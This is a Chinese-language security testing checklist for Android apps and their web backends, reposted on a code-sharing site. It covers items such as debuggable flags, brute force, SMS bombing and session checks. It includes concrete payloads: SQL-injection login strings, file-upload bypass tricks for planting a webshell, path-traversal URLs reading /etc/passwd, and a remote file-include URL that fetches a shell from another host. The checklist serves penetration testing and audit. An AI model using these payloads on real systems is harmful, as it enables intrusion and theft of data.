安全檢測檢查清單(Android版APP)


(一)

檢查項:allowbackup備份權限

優先級:高

檢查要點:被測應用的AndroidManifest.xml文件中allowBackup屬性值被設置為true,可通過adb backup對應用數據進行備份,在無root的情況下可以導出應用中存儲的所有數據,造成用戶數據泄露。

檢查方法:

1、使用AndroidKiller對APK文件進行反編譯;
2、AndroidManifest.xml 是每個android程序中必須的文件,位於整個項目的根目錄,描述了package中暴露的組件(activities, services, 等等),以及各自的實現類,各種能被處理的數據和啟動位置。從安全角度來看,它包含了應用程序中所有使用到的組件信息,同時它還會顯示應用程序使用的permissiosns信息。在其中搜索allowBackup屬性,檢查是否被設置為true。

(二)

檢查項:Debuggable屬性

優先級:高

檢查要點:被測應用的AndroidManifest.xml文件中Debuggable屬性值被設置為true,可以設置斷點來控制程序的執行流程,在應用程序運行時修改其行為。

檢查方法:

1、使用AndroidKiller對APK文件進行反編譯;
2、在AndroidManifest.xml中搜索Debuggable屬性,檢查是否被設置為true。

(三)

檢查項:APP惡意木馬捆綁安全檢查

優先級:高

檢查要點:檢查APP應用是否被捆綁了惡意代碼

檢查方法:

1、采用殺毒軟件等工具,對APP代碼進行安全掃描;
2、檢查APP應用是否捆綁了惡意木馬,如:鍵盤記錄惡意木馬等。

(四)

檢查項:密碼鎖定策略

優先級:高

檢查要點:測試客戶端是否存在手勢密碼多次輸入錯誤被鎖定的安全策略。

檢查方法:

1、首先通過正常的操作流程設置一個手勢密碼。
2、輸入不同於步驟1中的手勢密碼,觀察客戶端的登陸狀態及相應提示。若連續輸入多次手勢密碼錯誤,觀察當用戶處於登陸狀態時是否退出當前的登陸狀態並關閉客戶端;當客戶未處於登錄狀態時是否關閉客戶端並進行一定時間的輸入鎖定。

(五)

檢查項:登錄窗口注入漏洞

優先級:高

檢查要點:檢查APP登錄窗口是否存在注入漏洞

檢查方法:

1、首先通過抓包判斷站點前端開發語言,如:jsp、php和asp等;
2、根據不同的開發語言輸入不同的萬能密碼進行嘗試,如:jsp語言(admin' or 1=1/*等)、PHP語言('or 1=1/*等)和asp/aspx語言(""or ""a""=""a等);
3、判斷是否可以成功登錄

(六)

檢查項:傳輸通道加密傳輸

優先級:高

檢查要點:驗證傳輸通道是否加密

檢查方法:

1)采用抓包工具,如:BurpSuite等對登陸過程進行抓包
2)驗證是否對傳輸通道進行加密,如:https。

(七)

檢查項:用戶枚舉

優先級:高

檢查要點:檢查輸入錯誤賬號和正確賬號時,服務器提示,如“密碼錯誤”、“用戶名或密碼錯誤”

檢查方法:

1)輸入錯誤賬號時,提示“賬號錯誤”,則可判斷為不通過;
2)輸入正確賬號時,提示“密碼錯誤”,則可判斷為不通過。

(八)

檢查項:反向暴力破解

優先級:高

檢查要點:是否具備對賬號枚舉的防范措施

檢查方法:

1)采用抓包工具,如:burpsuite等對登陸過程進行抓包;
2)對用戶名字段,如:手機號,進行枚舉攻擊;
3)判斷服務器對該攻擊過程是否具備防范措施,如:IP封鎖等。

(九)

檢查項:密碼暴力破解(或動態短信暴力破解)

優先級:高

檢查要點:是否具備對賬號暴力破解的防范措施

檢查方法:

1)首先檢查登陸機制中,是否存在圖形驗證碼或動態短信,如果沒有,則進行一下操作;
2)采用抓包工具,如:burpsuite等對登陸過程進行抓包;
2)對用戶密碼進行暴力破解攻擊;
3)判斷服務器對該攻擊過程是否具備防范措施,如,賬戶鎖定、IP封鎖等

(十)

檢查項:短信炸彈

優先級:高

檢查要點:是否存在短信炸彈

檢查方法:1)使用BurpSuite抓包獲取發送短信報文並發送到Repeater模塊進行重放報文,模擬向用戶發送多次短信的操作;

(十一)

檢查項:帳號登錄限制

優先級:高

檢查要點:測試一個帳號是否可以同時在多個設備上成功登錄客戶端,進行操作。

檢查方法:1、用同一賬戶分別在兩個設備上面進行登錄,當后登錄設備登錄成功后,查看前登錄的設備,客戶端是否有提示並退出;

(十二)

檢查項:短信炸彈

優先級:高

檢查要點:是否存在短信炸彈

檢查方法:1)采用抓包工具,如:BurpSuite抓包獲取發送短信報文,並發送到Repeater模塊進行重放報文,模擬向用戶發送多次短信的操作;

(十三)

檢查項:密碼重置繞過

優先級:高

檢查要點:密碼重置過程中的驗證功能是否能夠繞過

檢查方法:

1)采用抓包工具,如如:burpsuite等抓取密碼重置過程包
2)檢查重置密碼的請求是否包括驗證信息,如果不包括驗證信息,修改重置賬號為其他用戶的賬號,重放重置密碼請求,驗證是否重置成功;如果包括驗證信息,驗證是否有失效或者防偽造機制。

(十四)

檢查項:密碼復雜度

優先級:高

檢查要點:測試修改密碼時,是否有復雜度校驗

檢查方法:1、人工測試,嘗試將密碼修改為弱口令,如:123456,654321,121212,888888等,查看客戶端是否拒絕弱口令。

(十五)

檢查項:短信炸彈

優先級:高

檢查要點:是否存在短信炸彈

檢查方法:1)采用抓包工具,如:BurpSuite抓包獲取發送短信報文,並發送到Repeater模塊進行重放報文,模擬向用戶發送多次短信的操作;

(十六)

檢查項:惡意注冊

優先級:高

檢查要點:是否有惡意注冊防范功能

檢查方法:

1)注冊過程是否有圖形驗證碼、短信驗證碼防批量注冊措施
2)再判斷圖形驗證碼或動態短信是否存在繞過漏洞

(十七)

檢查項:密碼復雜度

優先級:高

檢查要點:測試注冊時,是否有復雜度校驗

檢查方法:1、人工測試,嘗試將注冊密碼設置為弱口令,如:123456,654321,121212,888888等,查看客戶端是否拒絕弱口令。

(十八)

檢查項:業務邏輯繞過

優先級:高

檢查要點:對於可以通過代理的方式對交互數據進行分析的客戶端,可以對涉及到敏感信息操作的具體業務功能進行測試

檢查方法:

1、根據客戶端的業務流程,使用代理截獲客戶端每個功能的通信數據,測試對交互數據的篡改或重放所導致的問題。
2、具體測試內容包括但不限於:篡改造成的越權操作,交易篡改,特殊數據提交(如各種注入問題),重放導致的多次交易等等。

(十九)

檢查項:SQL注入、cookie注入、xss常見的應用漏洞

優先級:高

檢查要點:檢查各web應用系統是否存在web常見漏洞,如:sql注入、cookie注入等

檢查方法:

1、尋找可疑點:
使用AWVS掃描器對目標網站進行掃描以找出所有的SQL注入、cookie注入、xss可疑點;
2、確認可疑點是否存在注入、跨站等;
利用AWVS的提示進行手動驗證或sqlmap、pangolin等進行驗證

(二十)

檢查項:文件上傳

優先級:高

檢查要點:是否存在可以上傳任意類型的文件,從而獲取webshell

檢查方法:

1、手工找到上傳點,例如圖片上傳、附件上傳
2、采用直接上傳木馬(webshell或者腳本文件),例如shell.jsp
3、采用上傳后綴為jpg的木馬文件,使用burp抓包,並將后綴改為jsp嘗試繞過客戶端驗證
4、采用00截斷方法,嘗試進行上傳;
5、采用繞過服務端MIME類型檢測,嘗試進行上傳。通過burp修改content-type,例如將其內容application/x-httpd-php或text/plain改為image/gif
6、采用上傳一個在真實圖片中插入一句話木馬的圖片,繞過對文件內容檢測;
(例:
文件名大小寫繞過:例如AsP、pHp、JSp等;
黑名單繞過:例如asa、cer等;
FCKEditor上傳php2、php4、inc、pwml、asa、cer等格式;
截斷繞過:1.php[\0].jpg,test.asp%00.jpg截斷繞過
解析漏洞
II6:上傳1.asp;1.jpg格式的文件;test.asp/test
Nginx下的PHP CGI解析漏洞,上傳1.jpg文件,然后訪問http://website.com/1.jpg/1.php,1.jpg文件可能會以php文件執行;test.jpg%00.php
Apache上傳繞過:phpshell.php.rar.rar.rar.rar)

(二十一)

檢查項:任意文件下載

優先級:高

檢查要點:無需登錄可以任意下載文件

檢查方法:

1、嘗試尋找文件下載點
2、 在不登陸情況下,嘗試去下載某些文件(例如db、doc、txt等格式的文件)

(二十二)

檢查項:本地文件包含

優先級:高

檢查要點:是否可以包含本地任意文件

檢查方法:

1)通過AWVS掃描,查看掃描結果中,是否存在local file include漏洞
2)更改參數的值為其他路徑和文件進行驗證,在瀏覽器地址欄中嘗試以下URL:
對於UNIX/Linux服務器可以嘗試包含/etc/passwd:
http://www.exmaple.com/viewfile.do?filename=../etc/passwd
對於Windows服務器可以嘗試包含
http://www.exmaple.com/viewfile.do?filename=c:\boot.ini文件
3)嘗試使用截斷,來繞過對文件類型的檢查,例如:
http://www.exmaple.com/viewfile.do?filename=../../../../../etc/passwd%00

(二十三)

檢查項:遠程文件包含

優先級:高

檢查要點:是否可以遠程包含文件

檢查方法:

1)通過AWVS掃描,查看掃描結果中,是否存在file include漏洞
2)更改參數的值為本機的一個web服務根目錄下的一個文件,例如shell.jsp
http://www.exmaple.com/viewfile.do?filename=http://192.168.110.160/shell.jsp
3)嘗試使用截斷,來繞過對文件類型的檢查,例如:
http://www.exmaple.com/viewfile.do?filename=http://192.168.110.160/etc/passwd%00

(二十四)

檢查項:未授權訪問

優先級:高

檢查要點:是否存在垂直權限提升

檢查方法:

1、利用“敏感數據掃描工具”在不登陸情況下訪問省公司提供的CRM系統的功能URL清單。
2、查看掃描工具檢測結果中可被未授權訪問的URL;
3、對未授權訪問的URL進行手工驗證

(二十五)

檢查項:越權訪問

優先級:高

檢查要點:

1)是否使用低權限可以訪問高權限賬號的URL
2)是否存在同級越權

檢查方法:

1、低權限賬號可以訪問高權限賬號
1)使用高權限賬號登陸,抓取一些只有高權限賬號才能登陸的URL
2)退出高權限賬號,使用低權限賬號登陸后,嘗試訪問這些高權限賬號才能訪問的URL
2、同級別越權
使用A賬號能否訪問B賬號的特定數據,實現越權訪問

(二十六)

檢查項:短信接口惡意調用

優先級:高

檢查要點:是否存在短信接口惡意調用

檢查方法:

1)在調用短信接口過程中,使用burp進行抓包,修改發送目標與內容
2)  查看是否能按照預定發送短信

(二十七)

檢查項:目錄遍歷

優先級:中

檢查要點:是否存在目錄遍歷

檢查方法:

1)通過AWVS掃描,查看掃描結果中,是否存在Directory Listing漏洞
2)使用目錄掃描工具掃描目標
3)利用瀏覽器打開漏洞鏈接,驗證前面兩種掃描結果,是否可以成功瀏覽目錄

(二十八)

檢查項:客戶端組件安全

優先級:中

檢查要點:測試客戶端是否包含后台服務、Content Provider、第三方調用和廣播等組件,Intent權限的設置是否安全。應用不同組成部分之間的機密數據傳遞是否安全。

檢查方法:

1、使用AndroidKiller對APK文件進行反編譯;
2、檢查AndroidManifest.xml文件中各組件定義標簽的安全屬性是否設置恰當

(二十九)

檢查項:組件Activity配置

優先級:中

檢查要點:Activity是安卓應用組件,提供與用戶進行交互的界面。如果應用對權限控制不當,可以繞過登錄界面直接顯示該界面。

檢查方法:

1、使用Mercury檢查APK中是否存在暴露的activity,使用命令run app.activity.info –a (package name)。(package name是待檢測的應用包名)
2、com.isi.testapp.Welcome是登錄鑒權后才能啟動的界面。可以使用以下命令嘗試啟動。
run app.activity.start --component com.isi.testapp com.isi.testapp.Welcome

(三十)

檢查項:webview組件安全

優先級:中

檢查要點:Android 4.2版本以下的webview組件存在安全漏洞(CVE-2012-6636)。檢測客戶端是否采取措施避免漏洞被利用。

檢查方法:

1、檢查應用AndroidManifest.xml中的targetSdkVersion是否大於等於17;
2、使用測試網頁進行測試(騰訊的測試頁面鏈接,在被測應用中打開即可。http://security.tencent.com/lucky/check_tools.html)

(三十一)

檢查項:session失效

優先級:中

檢查要點:是否在關閉瀏覽器、注銷、超時的情況下session失效

檢查方法:

1)在正常業務操作中,通過burp抓取session id
2)關閉瀏覽器、注銷、超時后分別執行第三步
3)使用第一步抓取的session id訪問(利用edit cookie訪問某需要登錄后才能訪問URL)

(三十二)

檢查項:session繞過

優先級:中

檢查要點:是否存在session繞過

檢查方法:1)使用burp截取一個正常業務操作的包,並刪除session id后提交請求,查看是否可以成功訪問

(三十三)

檢查項:會話無session校驗

優先級:中

檢查要點:是否存在會話無session校驗

檢查方法:

1)在正常業務操作中,對數據訪問進行抓包,查看數據包中是否存在session等字段,如果沒有,則進行如下操作。
2)在異地直接打開該URL

(三十四)

檢查項:錯誤處理測試

優先級:中

檢查要點:應用程序報錯中泄漏敏感信息

檢查方法:檢查報錯是否含有系統信息、錯誤代碼、版本號等信息

(三十五)

檢查項:struts任意命令執行漏洞

優先級:高

檢查要點:是否存在struts任意命令執行漏洞

檢查方法:

1、查看各檢查系統是否使用Struts2框架
2、使用K8_Struts2_EXP工具進行檢查、驗證,查看工具是否成功執行系統命令


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM